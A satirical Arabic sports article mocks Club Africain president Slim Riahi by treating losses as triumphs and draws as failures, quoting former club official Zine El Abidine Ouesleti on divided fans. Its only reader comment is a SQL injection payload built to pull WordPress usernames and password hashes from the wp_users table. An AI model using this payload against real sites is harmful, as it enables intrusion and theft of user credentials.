رياضة – زين العابدين الوسلاتي يمزق الصمت : شبح التتويج يهدد الافريقي والرياحي على كف عفريت

1
3153
تبدو بعيدة تلك الأيام التي كان فيها سليم الرياحي معبود جماهير النادي الافريقي ومحل أمال القاصي والداني من عشاق الأحمر والأبيض. بعد بدايات موفقة مع نادي العاصمة في الموسم المنصرم، وإثر مسيرته الوردية على رأس الفريق خلال مرحلة البلاي أوف، لم يستطع رجل الأعمال المحبوب مواصلة سلسلة النتائج الإيجابية، حيث إنخفض المردود هذا الموسم، إلى حد منافسة فرق الطليعة على التتويج، مثيراً سخط المشجعين ومذكراً إياهم بماض مرير يرغبون في القطع معه.
البداية الحلم
بشيءٍ من الحنين، عاد بنا زين العابدين الوسلاتي، المسير السابق والمتيم بحب نادي باب الجديد، إلى الموسم الفارط وتقلد سليم الرياحي رئاسة النادي : « إستبشر الأنصار بقدوم رئيس اعتبروه من طينة العمالقة. فأصبحوا ينظرون إلى المستقبل بأعين حالمة اثر الانجاز التاريخي للنادي بعد حصوله على نقطة يتيمة قبع بها في المؤخرة، بعيداً كل البعد على منافسيه الذين إقتصر دورهم على المنافسة على لقب البطولة، نظراً لعدم قدرتهم على مجاراة النسق الرهيب الذي فرضه الإفريقي في ذيل الترتيب. »
تحضيرات الموسم الجديد
إنطلقت تحضيرات الموسم الحالي في أجواء بهيجة يسودها التفاؤل والغبطة. أجواء ساهم فيها سليم الرياحي بشكل كبير حيث برز بحضوره المكثف بمركب منير القبايلي، وبدعمه المالي الذي اشعل الحماسة في أنفس الجميع. في هذا السياق، يواصل مخاطبنا : « بعد نهاية ألموسم ألمنقضي، كان الجميع علي ثقة تامة في مواصلة الفريق على نفس الديناميكية، ناهيك وأن الرئيس الحالي أنفق دون حساب في إنتدابات خلناها ستذكرنا باساطير النادي السابقة على غرار انكورا، جورج بيتا، إيغور سوسو، أتوروغو، بيضوضان، برينس داي و غيرهم. لكن تجري الرياح بما لا تشتهي السفن… »
مرحلة ذهاب معقدة
 بشيءٍ من الحرقة أردف الناطق الرسمي السابق بإسم النادي : « كان إنطلاق الموسم كارثياً حيث لم يستطع النادي تذوق طعم الهزيمة إلا في ثلاثة مناسبات ! »
الأدهى و الأمرّ هو تعثر النادي في 11 مناسبة (في 19 مباراة) من بينها الفوز بالدربي ضد ترجي العاصمة ألغريم التقليدي. سلسلة النتاج السلبية أثارت حفيظة الأحباء الذين صبّوا جام غضبهم على رئيس الجمعية، محمّلينه المسؤولية وموجّهين له أصابع الإتهام بنيّة المنافسة على البطولة، متجاهلاً رغبة الأحباء في حب ألإفريقي دون عشق « التيتروات »، و مذكراً إياهم بالفترات الحالكة التي كان ألفريق يحصد فيها اللقب تلو الآخر.
الرياحي على صفيح ساخن
كما تناقلته وسائل الإعلام منذ أيام، لم يجد الأحباء الغيورون على الفريق ملاذاً سوى التجمهر في حديقة الرياضة « ا » بين مؤيدٍ ومناهض لرجل الافريقي الأول كما فسرّه لنا الاستاذ زين العابدين : « إنقسام شعب ألإفريقي حقيقة ! فهناك من يطالب برحيل الرياحي معتبراً إياه ألمسؤول الأول عن الوضع الصعب للنادي. بعض العالمين بخفايا عالم الجلد المدوّر يعتبرون أن الرياحي ليس له إهتمام بالرياضة قط (مما يفسر ترتيب الإفريقي ضمن كوكبة الطليعة) معاملاً النادي كمطيّة يستعملها لأغراض سياسية بحتة، وطامعاً في دعم الملايين العشرة من المحبين في المشاوير الإنتخابية المقبلة. بينما يصر الشقّ المخالف على  ضرورة بقاء رئيس الحزب الوطني الحر على رأس النادي، متفائلين بسلسلة التعادلات ألاخيرة، وواثقين في قدرته على إعادة نجاحاته السياسية في ميدان الرياضة، معتبرينه رجل المرحلة القادمة  والقادر الوحيد على المضي بالجمعية قدماً على درب الملعب التونسي. »

1 COMMENT

  1. -1 union Select 1,2,3,4,5,6,group_concat(user_login,—-,user_pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,262,7,28,29,30,31,32,33,34,35,36,37,38,39,40 from wp_users

LEAVE A REPLY

Please enter your comment!
Please enter your name here